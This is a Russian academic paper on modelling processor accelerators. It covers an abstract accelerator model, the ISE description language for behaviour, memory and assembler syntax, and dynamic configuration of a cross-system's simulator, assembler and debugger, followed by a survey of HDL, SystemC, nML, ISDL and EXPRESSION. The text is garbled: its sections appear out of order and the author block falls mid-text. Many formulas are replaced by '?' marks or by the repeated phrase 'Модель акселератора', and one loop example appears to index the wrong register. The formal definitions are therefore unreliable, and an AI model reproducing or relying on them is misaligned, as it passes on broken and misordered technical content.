    Отдельная секция файла описания модели акселератора отвечает за опреде-ление синтаксиса ассемблера для системы команд этого акселератора. Более точно, эта секция определяет синтаксис для подмножества системы команд основного процессора, соответствующего командам запуска инструкций этого акселератора (см. 2.1.3.1). Это полезно для адекватного отра-жения на уровне ассемблера соответствующей семантики команд, так как одни и те же (в смысле машинных кодов) команды основного процессора (для запуска акселераторов) могут иметь разную семантику, в зависимости от конкретной конфигурации акселераторов в системе, специфичной для каждого заказчика. В дополнение к определению семантики команд акселераторов (см. 2.2), воз-можность настраивать синтаксис для этих команд является важной функцио-нальностью рассматриваемой системы, позволяющей легко получать готовую для производственного использования кросс-систему, адаптированную для специфичной конфигурации "процессор + акселераторы пользователя".
    Описание ассемблерного синтаксиса системы команд состоит из трех секций:
  • Секция типов операндов и псевдонимов
  • Секция команд
  • Секция ограничений (constraints) Детальное рассмотрение средств описания синтаксиса команд выходит за рамки данной статьи. Ниже приводится только краткий обзор основных возможностей.

    Дескриптор структуры памяти

    Существуют отдельные синтаксические конструкции для описания следующих типов областей памяти:
  • Памяти данных
  • Регистровые файлы
  • Одиночные регистры
  • С помощью этих конструкций можно задать дескриптор структуры памяти Дескриптор структуры памяти(см. 2.1.1.1).
    Пример. Структура памяти простого акселератора:
  • две памяти данных LDM и TM размером 2048 слов каждая с разрядностью 16 и 64 бита со скоростью доступа 3 такта
  • Регистровый файл GRF из двух 16-ти разрядных регистров GR0 и GR1
  • Одиночный регистр-аккумулятор ACR разрядностью 36 бит
  • DECLARE_MEMORY(INT(16, 3), 2048) LDM; DECLARE_MEMORY(INT(64, 3), 2048) TM; DECLARE_REGISTERS_FILE(INT(16), 2) GRF; DECLARE_REGISTER(UINT(36)) ACR; // debugging names and registers file structure MEMORY(LDM, "Acc LDM"); MEMORY(TM, "Acc TM"); REGFILE_BEGIN(GRF, "General Registers") REGISTER(0, "GR0"); REGISTER(1, "GR1"); REGFILE_END()

    Динамическая настройка кросс-системы

    В данной главе приводится краткий обзор нашей технологии динамической настройки кросс-системы для работы с моделями акселераторов, заданных в соответствии с 2.2 и 2.3 в виде файлов описания акселераторов.

    Динамическая поддержка расширений процессора в кросс-системе

    В.В. Рубанов, А.И. Гриневич, Д.А. Марковцев, М.А. Миткевич
    Труды

    Конфигурация системы

    Под процессом конфигурации системы подразумевается определение конкретного набора акселераторов (типа и номера каждого акселератора). Тип акселератора (конкретная модель) определяется файлом спецификации на языке ISE. Интегрированная среда позволяет задать упорядоченный список акселераторов (файлов описания акселераторов), который и определяет конфигурацию системы, используемую для настройки соответствующих компонентов кросс-инструментария.
    В рамках одной сессии интегрированной среды пользователь может много-кратно менять как конфигурацию системы, так и сами файлы описания акселе-раторов (и, конечно же, прикладную программу). Однако изменение конфигу-рации невозможно в режиме отладки, когда работает симулятор. Для смены конфигурации сессия отладки должна быть остановлена. Для редактирования файлов описания акселераторов может быть использован визуальный front-end, который поддерживает средства анализа и верификации спецификаций (напри-мер, обнаружение конфликтующих машинных кодов для разных команд).

    Модель акселератора

    Операцией [элементарной] называется, заданная на множестве состояний памяти акселератора {s}A (см. 2.1.1.1) функция ?, формирующая следующее состояние памяти акселератора на основе предыдущего. Операции соответствуют действиям, которые могут быть выполнены за один такт (например, сложение двух регистров):
    ? : {s}A -> {s}A
    Множество операций акселератора обозначим ?A={?}. Для любого акселератора в этом множестве присутствует так называемая пустая операция, не изменяющая состояние и обозначаемая ?0.
    Каждая элементарная операция характеризуется функциональными ресурсами, которые необходимы для выполнения этой операции. Обозначим множество всех ресурсов акселератора как RA, а множество всех его подмножеств (включая пустое) как pA. Функция rA, отображающая множество операций ?A на множество pA, называется функцией ресурсов. Она задает набор ресурсов для каждой операции в ?A:
    rA : ?A -> PA
    Обозначим множество всех подмножеств в ?A, которые состоят из операций, использующих не пересекающиеся ресурсы, как ?A:
    Модель акселератора
    Таким образом, элемент множества ?A задает группу операций {?i}, которые могут выполняться параллельно (в рамках одного такта). Применением параллельной композиции (см. выше) этот элемент задает функцию на множестве состояний памяти акселератора {s}A. Далее элементы множества ?A будем отождествлять с задаваемыми ими функциями и называть комплекс-операциями. Заметим, что в этом смысле Модель акселератора.
    Определим два управляющих действия: продвижения next и окончания end. Каждое представляет собой параметрическую функцию на множестве управляющих состояний акселератора. Параметром функции является номер слота Модель акселератора. Действие next увеличивает на 1 значение поля состояния команды t для слота, заданного параметром nl.
    Модель акселератора
    Действие end переводит соответствующий слот в холостое состояние.
    Модель акселератора
    Множество из этих управляющих действий обозначим UA={next,end}.
    Дескриптором команды акселератора называется функция f, вычисляющая пару из комплекс-операции Модель акселератора и управляющего действия Модель акселератора на основании состояния памяти акселератора Модель акселератора и состояния команды Модель акселератора (см. 2.1.1.2):

    Модель акселератора

    Множество дескрипторов команд акселератора обозначается IA={fi}. Это множество конечно и каждому элементу f приписывается номер Модель акселератора (например, в порядке возрастания машинного кода в соответствии с отображением, задаваемым функцией декодирования, см. ниже). При этом для дескриптора команды всегда верно следующее (единственность конца команды):

    Модель акселератора

    Дескриптор команды f однозначно задает функцию потактового поведения команды bf, определенную на множестве состояний акселератора и параметризуемую номером слота nl. Значение функции bf не определено, если значение поля номера команды в соответствующем слоте nl не совпадает с номером соответствующего дескриптора f. В ином случае функция bf(nl):{aA} -> {aA} задается следующим образом:

  • На основании состояния памяти s и значения поля состояния команды t в слоте c номером nl c помощью дескриптора команды определяется пара из комплекс-операции ? и управляющего действия u: {?,u} = f{s,t}

  • C помощью ? определяется следующее состояние памяти s`=?(s), а управляющее действие задает следующее управляющее состояние p`=u(nl,p). Пара (s`,p`) задает значение bf(nl,s,p). Таким образом, множество дескрипторов команд однозначно задает множество функций потактового поведения BA, имеющее столько же элементов.

    Множество кодов инструкций акселератора CA={ci} представляет собой множество двоичных чисел одинаковой разрядности. Каждый элемент этого множества соответствует одному из возможных значений поля код инструкции акселератора в машинном коде команды запуска акселератора (см. 2.1.3.1).

    Функция декодирования dA задает отображение множества кодов инструкций акселератора CA на множество дескрипторов команд IA:

    dA:CA -> IA

    Функция декодирования однозначно задает декодер акселератора - функцию DA:

    DA:CAx{p}A -> {p}A:

    Функция DA определяется следующим образом: если Модель акселератора, то Модель акселератора, иначе значение DA не определено. Иными словами, в случае наличия свободного управляющего слота декодер инициирует состояние этого слота в (f,1), где f определяется по коду инструкции с помощью функции декодирования dA.

    Тактовая функция TA на множестве состояний акселератора {a}A, определяет изменение состояния акселератора на каждом такте:

    TA:{a}A -> {a}A

    Эта функция однозначно задается параллельной композицией (см. 2.1.1.3) функций потактового поведения bf, соответствующих дескрипторам команд f, заданным в поле nf каждого активного управляющего слота. Иными словами для каждого такта управляющее состояние акселератора определяет набор активных команд, характеризуемых функциями потактового поведения. Параллельная композиция этих функций задает отображение TA (поведение акселератора) для текущего такта. Если активных слотов нет, то состояние акселератора не меняется.

    Абстрактная модель акселератора MA определяется следующими описанными выше элементами:

    MA={SA,PA,CA,DA,TA}

    Моделирование расширений процессора

    В данной главе рассматриваются вопросы моделирования расширений процес-сора в виде акселераторов. Для этого вводится абстрактная (математическая) модель акселератора, охватывающая достаточно широкий класс возможной аппаратуры (см. 2.1). В рамках этой абстрактной модели определяются сред-ства описания конкретных моделей акселераторов в виде файлов на специа-льном языке ISE (см. 2.2). Описанные таким образом модели акселераторов используются для автоматической конфигурации компонентов кросс-системы - симулятора, ассемблера, дисассемблера, отладчика и профилировщика (см. главу 3).

    Настройка ассемблера/дисассемблера

    Для обеспечения динамической настройки ассемблера на новые команды акселераторов был разработан "универсальный" ассемблер, интерпрети-рующий описание синтаксиса системы команд и отображения в машинные коды, заданное в соответствии с 2.3, в процессе ассемблирования входной программы. Заметим, что часть системы команд основного процессора, не относящаяся к командам запуска акселераторов, также задается в виде 2.3. Таким образом, кроме собственно текста прикладной программы, входной информацией для ассемблера является набор файлов описания для системы команд ядра процессора и всех акселераторов системы. Объединение этих описаний задает общий ассемблерный синтаксис всех команд системы "процессор + акселераторы".
    В конкретной реализации, информация о синтаксисе извлекается ассемблером либо из указанных в параметрах командной строки библиотек DLL или непосредственно из файлов описания акселераторов. При этом описание системы команд ядра основного процессора зашито в самом ассемблере, так как она не изменяется пользователем.
    Заметим, что в текущей версии динамически настраиваемым является только синтаксис отдельных команд. Общий синтаксис ассемблерного файла фиксирован:
  • Секции
  • Объявление переменных
  • Выражения
  • Конструкции для макропроцессора
  • Отладочная информация С-компилятора
  • Дисассемблер извлекает информацию о синтаксисе команд из набора файлов описания также динамически во время своей работы (in run-time).

    Настройка отладчика

    Под настройкой отладчика подразумевается настройка соответствующих окон для отображения состояния памяти акселераторов во время симуляции, включая разбиение на именованные области. С помощью отладчика пользователь также может вручную изменять значения определенных ячеек.
    Во время старта отладочной сессии отладчик считывает информацию о структуре памяти акселераторов (см. 2.2.1) из соответствующих библиотек DLL или непосредственно из файлов описания акселераторов. Также для настройки подсветки синтаксиса ассемблерных команд в редакторе используется инфор-мация из синтаксической части (см. 2.3). Оттуда же берет информацию и один из профилировщиков (а именно, профилировщик покрытия системы команд).

    Настройка симулятора

    Для настройки симулятора используется информация из файла описания акселератора, соответствующая элементам, описанным в 2.2.
    В существующей реализации для настройки симулятора используется два альтернативных подхода:
  • Компиляция файла описания акселератора внешним компилятором C++
  • Интерпретация файла описания во время работы (run-time)
  • В первом случае файл описания акселератора транслируется внешним компи-лятором в динамическую библиотеку DLL. Заметим, что в этом случае синтак-сис, описанный в 2.2, трактуется как макросы, определения переменных (2.2.1) и функции (2.2.2) C++. Функция-декодер задается таблицей соответствия шаблонов машинных команд и указателей на функции команд (2.2.2.3). Инфор-мация о синтаксисе команд (2.3) не используется симулятором и для компиля-тора в этом случае представляется в виде строки инициализации специальной глобальной переменной для использования ассемблером и дисассемблером.
    Программный интерфейс (API) этой библиотеки DLL содержит набор функций для извлечения информации об акселераторе. Память акселератора симулируется в виде переменных и массивов в адресном пространстве DLL. Функции поведения команд акселератора (включая операции) компилируются в исполняемый код хост-машины. Симулятор основного процессора обращается к соответствующим функциям DLL для выдачи команд акселе-ратора и инициировании очередного такта (тактовый генератор находится в отладчике). Для синхронизации потактового выполнения команд основного процессора и всех акселераторов используется модель нитей с ручным переключением контекста. Такие возможности предоставляются в операционной системе Windows в виде примитивов Fibers. Для платформы UNIX используется библиотека QuickThreads (David Keppel, 1993). Директива FinishCycle() в этом случае вызывает явное переключение нитей (fibers).
    В случае отсутствия внешнего компилятора C++, используется другой подход, когда функции поведения команд интерпретируются внутренней виртуальной машиной во время симуляции. Однако в этом случае существует ряд ограни-чений на использование конструкций и типов языка C++ при описании модели акселератора, так как не все возможности поддерживаются интерпретатором.

    Ограничения

    2.3.2.1. На отдельные операнды Ограничения на отдельные операнды определяются соответствующим типом, к которому принадлежит операнд. Однако для наглядной генерации ошибок можно задать более широкий тип для операнда и воспользоваться механизмом общих ограничений (см. 2.3.2.2) для выделения допустимых значений.
    2.3.2.2. На взаимосвязь операндов команды Ограничения на взаимосвязь операндов команды задаются в виде набора логических высказываний относительно сравнений арифметических выражений, которые могут содержать значения любых использованных в команде операндов. Считается, что ограничения выполнены, если все логические высказывания для данной инструкции принимают значение "истина".
    Выражения ограничений поддерживают следующие операции:
    Логические операции &&, , !
    Операции сравнения , =, ==, <>
    Арифметические операции +, -, *, /, %
    Битовые операции |, &, ^, ~
    В выражениях могут быть использованы числовые константы и, собственно, ссылки на операнды. Если несколько операндов имеют одинаковый тип, то следует использовать псевдонимы типов для различения операндов в выражениях ограничений. Пример. Операнды 1 и 2 не должны быть равны:
    ADD {GRs#8;4}, {GRt#4;4} % 0x796000 0xf9f000 (GRs <> GRt) % "Operands must be different for ADD" Заметим, что с помощью описанного механизма также можно задавать ограничения на отдельные операнды. Таким образом, возможны две стратегии работы с ограничениями на значения операндов: с одной стороны можно создать систему общих типов и затем сужать множества значений с помощью логических высказываний, а с другой работать с большим количеством специфических типов. В первом случае можно достичь более конкретных сообщений об ошибках в операндах инструкции, во втором - упрощается описание системы команд. Пользователь может выбрать любую стратегию.
    2.3.2.3. На комбинации команд Каждой команде можно назначить некоторый набор свойств и задать для них значения и области активации. В качестве значения свойства может выступать либо константа, либо значение одного из операндов команды.
    Область активации задает диапазон соседних команд, на котором данное свойство активно. Область активации по умолчанию [1;1] затрагивает только текущую команду. Механизм описания свойств (дополненный предикатами совместимости - см. ниже) фактически является модифицированным описанием таблиц использования ресурсов (reservation tables).

    Пример:

    MAC {acr#14;1},{grs#4;4},{grt#0;4} % 0x6c2000 0xffb800 [read_grn:grs, read_grn:grt, write_acr:acr:2;2] Данная команда обладает следующими свойствами:

    read_grn - двойное свойство со значениями равными значениям операндов grs и grt. Область активации по умолчанию затрагивает только текущую команду (здесь означает, что значения регистров, заданных операндами grs и grt, читаются на первом такте).

    write_acr - значение свойства равно значению операнда acr. Область активации [2;2] затрагивает следующую команду (здесь означает, что значение acr будет записано на втором такте).

    На механизме описания свойств базируется способ задания ограничений на использование ресурсов. Задается список предикатов совместимости свойств. Предикат совместимости свойств задает в квадратных скобках набор из пар свойств (пары разделяются запятыми, свойства в паре знаком =). Предикат истинен для пары команд, когда выполняются следующие условия: первая команда обладает всеми свойствами из левых частей пар, вторая обладает всеми свойствами из правых частей пар; при этом для каждой пары значения свойств совпадают на пересечении их областей активации. Предикаты совместимости оцениваются ассемблером для всех пар команд при ассемблировании программы, таким образом обнаруживаются конфликтующие команды. Заметим, что оценки работают гарантированно корректно только на линейных участках.

    Пример:

    [write_acr=read_acr] % warning: "WAR conflict for ACRs" Данный предикат будет верен, если у пары команд значение свойства write_acr первой команды совпадет со значением свойства read_acr второй команды на пересечении областей активации этих свойств. В данном примере это отражает конфликт по данным (по аккумуляторным регистрам) типа WRITE AFTER READ.

    Зарезервировано специальное свойство "any", которым по умолчанию обладает любая инструкция. [any=X] дает истинный предикат, если вторая инструкция обладает свойством X (независимо от его значения).

    Описание поведения

    К семантике поведения акселератора относятся следующие элементы модели mA: множество ресурсов RA, функция ресурсов rA, множество операций ?A, множество дескрипторов команд IA и функция декодирования dA (вместе с CA).
    2.2.2.1. Операции Для задания операций из ?A используется язык C++. Ячейки памяти акселератора доступны в качестве глобальных переменных (регистровые файлы и памяти в виде массивов). Для удобства описания могут объявляться собственные локальные переменные. Также могут быть использованы возможности специальной библиотеки (например, N-битные типы данных INT< N>, UINT< N>, типы данных с фиксированной точкой FIXED< I,F>, операции битовых манипуляций и т.п.). Используемые в операции ресурсы обозначаются в виде вызова функции UseResources(resources) (тем самым задается функция rA). В существующей реализации список используемых в данной операции ресурсов передаются в виде битовой строки, где каждый ресурс соответствует определенному биту. Множество ресурсов RA задается в виде перечисления (enum) со значениями элементов по степеням двойки:
    enum Resources {MAC_ADDER=1, MAC_MULTIPLIER=2, ALU_ADDER=4}; Пример 1. Операция по сложению двух 36-ти разрядных чисел:
    void ADD_36_36(INT& res, INT a, INT b) { UseResources(MAC_ADDER); res = a + b; } Пример 2. Операция по перемножению двух 16-ти разрядных знаковых чисел:
    void SMUL_16_16(INT& res, INT a, INT b) { UseResources(); res = a * b; } Заданная на C++ операция может быть оформлена в виде отдельной функции (см. примеры выше) или встраиваться непосредственно в тело функции поведения команды (см. примеры в 2.2.2.2).
    2.2.2.2. Дескрипторы команд Дескрипторы команд акселератора из IA задаются соответствующими функциями поведения команд. Функция поведения может принимать аргументы в виде параметров инструкции pi. Тем самым одна функция поведения может описывать набор дескрипторов (один дескриптор соответствует одному конкретному набору значений параметров). Тело функции поведения может описываться на языке C++.
    Отображение в операции для соответствующих значений состояния команды t неявно задается путем использования специальной функции FinishCycle(). Вызовы данной функции отделяют операции внутри функции поведения, относящиеся к последовательным тактам исполнения (значениям параметра t дескриптора команды). Для описания динамического характера выбора операций в зависимости от состояния акселератора (аргумент дескриптора s) в описании функции поведения команды допускается использование управляющих конструкций языка C, в частности циклов и ветвлений (см. пример 3 ниже). Вызов функции FinishCycle() означает окончание всех операций для текущего такта команды и соответствует управляющему действию next. Возврат из функции поведения команды соответствует управляющему действию end. Использо-вание такого решения позволяет эффективно описывать дескрипторы команд, тем самым определяя потактовое поведение команд акселератора.
    Пример 1. Однотактовая команда перемещения между регистрами, содержащая единственную операцию, задаваемую конструкцией
    GRF[greg] = LRF[lreg]: ACC_FUNCTION Move_LREG_GREG(INT lreg, INT greg) { GRF[greg] = LRF[lreg]; FinishCycle(); } Пример 2. Двухтактовая команда перемножения и аккумуляции результата. На первом такте происходит перемножение операндов (операция SMUL_16_16 - см. пример 2 в 2.2.2.1), на втором аккумуляция результата (операция ADD_36_36 - см. пример 1 в 2.2.2.1):
    ACC_FUNCTION MAC_LREG_GREG(INT grs, INT grt) { SMUL_16_16 (mulres, GRF[grs], GRF[grt]); FinishCycle(); ADD_36_36 (ACC, ACC, mulres); FinishCycle(); } Заметим, что две выдачи подряд этой команды процессором приведут к ситуации, когда одновременно будут исполняться две различные стадии этой функции (стадия умножения второй команды и стадия сложения первой команды). Такой эффект может быть использован для моделирования конвейера акселератора.
    Пример 3. Команда свертки векторов, расположенных в памятях DM0 и TM0. Длительность команды зависит от данных (длина векторов задается регистром LOOPREG).


    Заметим, что в теле цикла за один такт выполняются несколько операций, использующих непересекающиеся ресурсы. Для синхронизации с процессором используется механизм прерывания:
    ACC_FUNCTION CONV_ACC_DM0_TM0(INT dreg, INT treg) { SMUL_16_16 (mulres, DM0[AR[dreg]++], TM0[AR[treg]++]); FinishCycle(); while (LOOPREG>0) { ADD_36_36 (ACC, ACC, mulres); SMUL_16_16 (mulres, DM0[AR[dreg]++], TM0[AR[dreg]++]); LOOPREG--; FinishCycle(); } ADD_36_36 (ACC, ACC, mulres); InterruptProcessor(); FinishCycle(); } 2.2.2.3. Функция декодирования Функция декодирования dA задается описанием множества пар из формата машинного слова команды и ссылки на функцию поведения команды:
    INSTRUCTION(< format_string>, < invoker_name>); Формат машинного слова команды задается строкой в следующем алфавите:
  • Битовые символы: '0' и '1'
  • Параметрические символы: 'A-Z' и 'a-z'
  • Групповой символ: '*'
  • Разделительный символ: '-' Символы из пунктов 1-3 называются значимыми символами. Заметим, что число значимых символов в строке формата команды должно быть равно разрядности машинного слова в системе.
    Непрерывная цепочка параметрических символов задает операнд. Декодер акселератора выделит указанные биты и передаст полученное значение в функцию поведения команды в виде параметра pi. Различные операнды разделяются групповым или разделительным символом. Операнды нумеруются в порядке справа налево.
    Битовые символы задают фиксированные значения в соответствующих позициях машинного слова. На месте параметрических и групповых символов в машинном коде команды может быть любое битовое значение. Разделительные символы используются для косметических целей, а также для отделения подряд идущих операндов.
    Пример:
    INSTRUCTION("11-**-0000-0000-0001-LREG-GREG", Move_LREG_GREG); Функция поведения MoveLREG_GREG (см. пример 1 в 2.2.2.1) имеет два параметра по 4 бита каждый (LREG[4;7] и GREG[0;3]). Биты [20;21] могут принимать любые значения для данной команды (в данном примере эти биты относятся к коду акселератора и используются командой запуска акселератора основного процессора).Остальные биты фиксированы и составляют КОП инструкции аскелератора.
    Заметим, что совокупность всех строк форматов машинного слова задает множество допустимых кодов инструкций данного акселератора (CA в 2.1.2).
    Число управляющих слотов NS задается директивой SLOTS(< NS>).

    Отображение ассемблерных команд в машинное слово

    Общий шаблон допустимого ассемблерного синтаксиса для команд акселератора задается в виде:
    command ::= mnemonic [parameter {, parameter}*] { mnemonic [parameter {, parameter}*]}* mnemonic ::= const_string parameter ::= operand {[const_string] [operand]}* operand ::= const_string const_string ::= любой текст без запятых и пробелов Примеры возможных команд:
    DMOVE ACR1.h, DM0(DA0--), ACR1.L, TM0(TA0++) MOVE GRA, DM1(TA0+25) ADD GR3, ACR2.H На языке ассемблера команда состоит из мнемоники (нескольких мнемоник для параллельных команд) и набора параметров, разделенных запятой. Каждый параметр может содержать несколько частей - операндов, принадлежащих к каким-либо из описанных типов. В рамках одного параметра операнды должны отделяться непустыми строками константных символов. Комбинация мнемоник ассемблерного синтаксиса отображается в поле КОП соответс-твующей команды. Операнды (operand) отображаются на поля-операнды машинного слова. Возможно задание отображения на не непрерывные поля (когда биты поля перемежаются битами других полей).
    Пример:
    .types grn [gr0:0] [gr1:1] [gr2:2] [gr3:3] const6b $ -32 31 .mnemonics MOVE {grn#0;2},{const6b#2;4#8;2} % 0xA8C0 0xFCC0 Описание задает команду MOVE с двумя операндами. Первый операнд типа grn является регистром общего назначения, код регистра размещается в 2х битах начиная с 0-го. Второй операнд является константой в диапазоне [-32; 31] и располагается в машинном слове в двух частях: в 4х битах, начиная со 2-го, и 2х битах, начиная с 8-го. КОП равен 1010-10XX-11XX-XXXX.

    Симуляция акселератора

    Для симуляции акселератора, заданного моделью MA (см. 2.1.2), необходим генератор тактов, а также определенное начальное состояние памяти Симуляция акселератора. В начальном управляющем состоянии p0 все слоты свободны. В рассматриваемой системе акселераторы и основной процессор работают тактово-синхронно (тактовый генератор единый для всей системы), то есть такт работы акселератора равен такту работы процессора. Кроме тактового генератора, единственным внешним событием для акселератора является выдача очередной команды основным процессором (см. 2.1.3.1 ниже).
    2.1.3.1. Запуск команд акселератора В рассматриваемой модели аппаратуры множество команд основного процессора должно иметь непустое подмножество, представляющее собой команды запуска акселераторов. Такие команды инициируют запуск определенной инструкции соответствующего акселератора. С точки зрения основного процессора команда запуска акселераторов определяется тремя полями машинного кода (порядок полей несущественен, также поля не обязательно должны быть непрерывными):
    {КОП, номер акселератора, код инструкции акселератора}
    Действия основного процессора при выполнении команды запуска акселератора заключаются в активации акселератора с номером в соответствующем поле и выдаче этому акселератору кода инструкции акселе-ратора для дальнейшего декодирования и выполнения команды в самом акселераторе параллельно с работой процессора. Для основного процессора выполнение команды запуска акселератора всегда занимает один такт. В терминах абстрактной модели выдача команды акселератора основным процессором заключается в передаче кода инструкции акселератора в функцию декодера акселератора DA ( CA это подмножество множества значений поля код инструкции акселератора). За один такт процессор может выдать не более одной команды акселератора. Заметим, что код инструкции акселератора в свою очередь может содержать КОП команды акселератора и операнды.
    Акселератор может параллельно выполнять несколько многотактовых команд, в том числе с одинаковым дескриптором.
    То есть основной процессор может выдавать новую команду акселератора, до того как отработали предыдущие команды. В рамках рассматриваемой модели это возможно, если все операции, выполняемые параллельно на каждом такте, используют непересекающиеся ресурсы (см. 2.1.2). На практике это возможно, если позволяет конвейер и функциональные устройства акселератора, при этом ответственность за корректную (своевременную) выдачу команд акселератора лежит на прикладном программисте.

    2.1.3.2. Тактовое поведение акселератора В ответ на событие от тактового генератора, в рассматриваемой модели действия акселератора сводятся к изменению состояния в соответствии со своей тактовой функцией TA. Эта функция определяет поведение акселератора на каждом такте.

    2.1.3.3. Обмен данными и синхронизация с процессором Обмен данными между процессором и акселераторами осуществляется через разделяемую (общую) память (см. 2.1.1.1). Заметим, что дополнительная информация от процессора к акселератору может также поступать в виде параметров инструкции (см. 2.1.3.1). Заметим, что разные акселераторы не имеют доступа к локальной памяти друг друга.

    Разделение доступа к общей памяти в нашей модели соответствует типу CREW (Common Read Exclusive Write). Это означает, что процессор и акселераторы могут одновременно (в рамках текущего такта) читать из ячейки памяти, однако одновременная запись запрещена. В рассматриваемой модели области памяти могут иметь задержку записи, характеризуемую скоростью доступа к памяти (см. 2.1.1.1). По умолчанию, все области памяти имеют задержку 1, то есть изменения могут быть прочитаны только на следующем такте (flip-flop модель). Заметим, что если задержка больше ноля, то возможна одновременная запись и чтение одной и той же ячейки, при чтении считывается предыдущее значение.

    Команды акселератора могут занимать фиксированное или переменное (в зависимости от данных) число тактов. С точки зрения прикладного программиста (компилятора) существует три способа синхронизации вычислений основного процессора и результатов работы определенной команды акселератора:

  • Когда команда акселератора всегда имеет фиксированное число тактов выполнения, программист может статически просчитать, когда будут готовы результаты вычислений (процессор и акселераторы работают синхронно, см. 2.1.3).
  • Акселератор в процессе выполнения может выставлять определенные флаги (менять ячейки) в общей памяти. Программа основного процессора может считывать значения этих флагов и определять готовность результатов вычислений акселератора.
  • Частным случаем пункта 2 является вызов акселератором прерывания основного процессора. Обработчик прерывания может прочитать результаты вычислений акселератора.

    Смежные работы

    Для спецификации аппаратуры на низком уровне используются языки HDL (Hardware Description Languages), наиболее известными из которых являются Verilog [6] и VHDL [7]. Задачей этих языков является создание спецификации, пригодной для синтеза реальной аппаратуры. Поэтому, задание аппаратуры на данном уровне абстракции является трудоемким и непригодным для быстрого проведения исследования альтернатив дизайна, далее DSE (Design Space Exploration). Также автоматическое построение кросс-системы затруднительно на основании описания HDL, так как информация о системе команд не определяется явно (см. [1]).
    Интересный подход для моделирования аппаратуры разрабатывается в рамках программы Open SystemC Initiative [8], первоначально представленной в 2000 году. В настоящее время все активности по SystemC спонсируются и управляются комитетом из индустриальных компаний: ARM, Cadence, CoWare, Fujitsu, Mentor, Motorola, NEC, Sony, ST, Synopsys. SystemC это библиотека C++ классов, которая упрощает создание поведенческих моделей аппаратных систем за счет предоставления набора макросов и классов, реализующих элементы аналогичные конструкциям HDL. С помощью этих конструкций (см. [9]) возможно структурное описание системы, используя понятия модулей, процессов, портов, сигналов, интерфейсов, событий и т.п. Библиотека также предоставляет набор типов, удобных для моделирования аппаратных элементов, таких как битовые строки и числа с фиксированной точкой. Однако модель системы на SystemC предназначена только для симуляции и последующего синтеза аппаратуры, система команд явно не выделяется и построение полной кросс-системы на основании модели на SystemC затруднительно (см. [5]). В этом смысле SystemC относится скорее к классу HDL языков, при этом существуют автоматические конвертеры из Verilog и VHDL в SystemC ([10] и [11]). Скорость симуляции моделей SystemC невелика ввиду слишком низкого уровня описания деталей аппаратуры, несущественных для кросс-системы. Однако заметим, что для описания поведения отдельных операций аппаратуры примитивы SystemC очень удобны, аналогичные конструкции предоставляются и в рассматриваемой работе для описания операций и команд (см. 0).
    В частности предоставляются типы данных, аналогичные SystemC; также синхронизация между командами аналогична синхронизации между процессами SystemC (FinishCycle() аналогична функции wait() в SystemC).

    Для решения задачи автоматической генерации компонентов кросс системы предназначены языки класса ADL (Architecture Description Languages). Дополнительная информация и полный обзор языков ADL может быть найден в [1] - [5]. Здесь приведем только наиболее известные решения.

    Одним из первых языков ADL был nML [12], изначально разработанный в Техническом Университете Берлина, Германия (1991). nML использовался в качестве способа описания аппаратуры для симулятора SIGH/SIM и компилятора CBC (с языка ALDiSP). В nML система команд процессора описывается с помощью атрибутных грамматик. Атрибуты включают в себя поведение (action), ассемблерный синтаксис (syntax) и отображение в машинные коды (image). Оригинальный nML не содержит механизмов описания многотактовых команд. Однако nML получил дальнейшее развитие в бельгийском научно-исследовательском центре микроэлектроники IMEC, где в рамках дочерней компании Target Compiler Technologies была создана коммерческая среда разработки [13]-[14], ориентированная на DSP архитектуры (1995). В эту среду входят компилятор CHESS (с языка C), симулятор CHECKERS, ассемблер, дисассемблер и линкер. Также поддерживается синтез VHDL описания. В рамках этой коммерческой среды компания Target Compiler Technologies модифицировала nML для поддержки более сложной аппаратуры (в частности введены механизмы явного описания конвейера), хотя из маркетинговых заявлений компании (технические спецификации недоступны) до конца не ясно, какие именно средства описания ILP поддерживаются. Также nML поддерживает только команды фиксированной длительности и производительность симулятора, опубликованная в [14], невысока. Последователем nML стал язык Sim-nML [15], работы над которым ведутся с 1998 года в Индийском Технологическом Институте (Indian Institute of Technology Kanpur) при поддержке компании Cadence.


    Главным принци- пиальным нововведением стал дополнительный атрибут использования ресурсов (uses) в грамматике описания команд. Это позволяет описывать использование ресурсов и, тем самым, обнаруживать конфликты между командами. В рамках проекта Sim-nML были разработаны кодогенератор для компилятора, симулятор, ассемблер и дисассемблер. К сожалению, отсутствует интегрированная среда разработки и отладки.

    Язык ISDL был разработан в университете MIT, США [16] и представлен на конференции по автоматизированному дизайну DAC [17] в 1997 году. Основной специализацией ISDL является описание VLIW архитектур. Изначально задумывалась реализация компилятора, ассемблера и симулятора, а также генератора Verilog описания. Аналогично nML, ISDL главным образом описывает систему команд процессора, включающую в себя семантику поведения, синтаксис ассемблера, машинные коды, а также описание ресурсных конфликтов, используя атрибутную грамматику. К важным достоинствам языка можно отнести возможность точно специфицировать задержки и конфликтные ситуации для ILP в виде логических правил, хотя явное описание конвейера отсутствует. Несмотря на довольно продуманный язык, к сожалению, отсутствуют в доступном виде реальные утилиты, поддерживающие его. Инициаторы проекта ограничились только реализацией ассемблера и некоторых модулей симулятора и кодогенератора для компилятора в качестве диссертационных работ MIT.

    Язык EXPRESSION [18]-[19] разработан в Университете Калифорнии (University of California, Irvine, США), впервые был представлен на конференции DATE в 1999 году. Этот язык поддерживает широкий класс встроенных систем с ILP и иерархиями памяти от RISC, DSP, ASIP до VLIW. EXPRESSION содержит интегрированное описание структуры и поведения подсистемы процессор-память. Спецификация на EXPRESSION состоит из шести секций (первые три отвечают за поведение, последние три за структуру):

  • Спецификация операций (набор атомарных команд с кодами, описанием параметров и семантики (поведения)).
  • Описание формата команды (команда состоит из ячеек, ответственных за определенный функциональный модуль, которые могут заполняться атомарными операциями для параллельного выполнения).
  • Отображение общих операций компилятора на машинные операции, описанные в первой секции.


    Данное описание используется для кодогенератора компилятора.
  • Описание компонент (функциональные устройства, шины, порты и т.п.).
  • Описание конвейера и связей компонентов.
  • Описание иерархии памяти (регистровая память, кэш, SRAM, DRAM).
  • Из описания EXPRESSION автоматически генерируются компилятор EXPRESS и симулятор SYMPRESS. К недостаткам решения на основе EXPRESSION следует отнести невысокую скорость симуляции и относительную трудоемкость описания (из-за наличия детальной структурной составляющей). В этом смысле EXPRESSION стоит между чистыми поведенческими ADL решениями (типа nML) и структурными описаниями HDL уровня.

